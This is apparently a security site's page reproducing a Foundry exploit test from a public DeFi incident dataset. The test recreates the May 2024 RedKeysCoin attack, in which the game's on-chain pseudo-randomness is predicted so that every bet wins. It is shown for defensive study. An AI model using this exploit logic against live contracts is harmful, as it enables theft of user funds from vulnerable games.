Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/RedKeysCoin_exp.sol

Public reproduction file for dataset entry RedKeysCoin.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/RedKeysCoin_exp.sol75 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6import "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : $12K
9// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601
10// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b
11// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0
12// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code
17// @Analysis
18// Post-mortem :
19// Twitter Guy : https://x.com/SlowMist_Team/status/1794975336192438494
20// Hacking God :
22interface IRedKeysGame {
23 function playGame(uint16 choice, uint16 ratio, uint256 amount) external;
24 function counter() external view returns (uint256);
27contract RedKeysCoin is BaseTestWithBalanceLog {
28 uint256 blocknumToForkFrom = 39_079_951;
30 IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);
31 IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);
33 function setUp() public {
34 vm.createSelectFork("bsc", blocknumToForkFrom);
35 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36 fundingToken = address(coin);
38 vm.label(address(game), "RedKeysGame");
39 vm.label(address(coin), "REDKEYS");
41 // prepare for exploit
42 deal(address(coin), address(this), 1e9);
43 coin.approve(address(game), type(uint256).max);
44 }
46 function testExploit() public balanceLog {
47 for (uint256 i = 0; i < 50; i++) {
48 // get current counter
49 uint256 counter = game.counter();
51 // estimate bet result by calculating the result of the function randomNumber
52 uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;
54 // play the game
55 game.playGame(betResultExpectation, 2, 1e9);
56 }
57 }
59 // random number generator with same logic of target contract
60 function randomNumber(
61 uint256 counter
62 ) internal view returns (uint256) {
63 uint256 seed = uint256(
64 keccak256(
65 abi.encodePacked(
66 counter + block.timestamp + block.prevrandao
67 + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit
68 + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number
69 )
70 )
71 );
73 return (seed - ((seed / 1000) * 1000));
74 }

Analysis

Dataset entry

Public Foundry test for “RedKeysCoin” (2024-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x36a6135672035507b772279d99a9f7445f2d1601

  • Attack Contract

    0x471038827c05c87c23e9dba5331c753337fd918b

  • Vulnerable Contract

    0x71e3056aa4985de9f5441f079e6c74454a3c95f0

  • Attack Tx

    0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427

File record

Name
RedKeysCoin
Path
src/test/2024-05/RedKeysCoin_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e69c67f42db513922fdf657a62a45d98fd3c36d0
Language
Solidity
Size
76 lines
Date
2024-05-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/RedKeysCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e69c67f42db513922fdf657a62a45d98fd3c36d0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.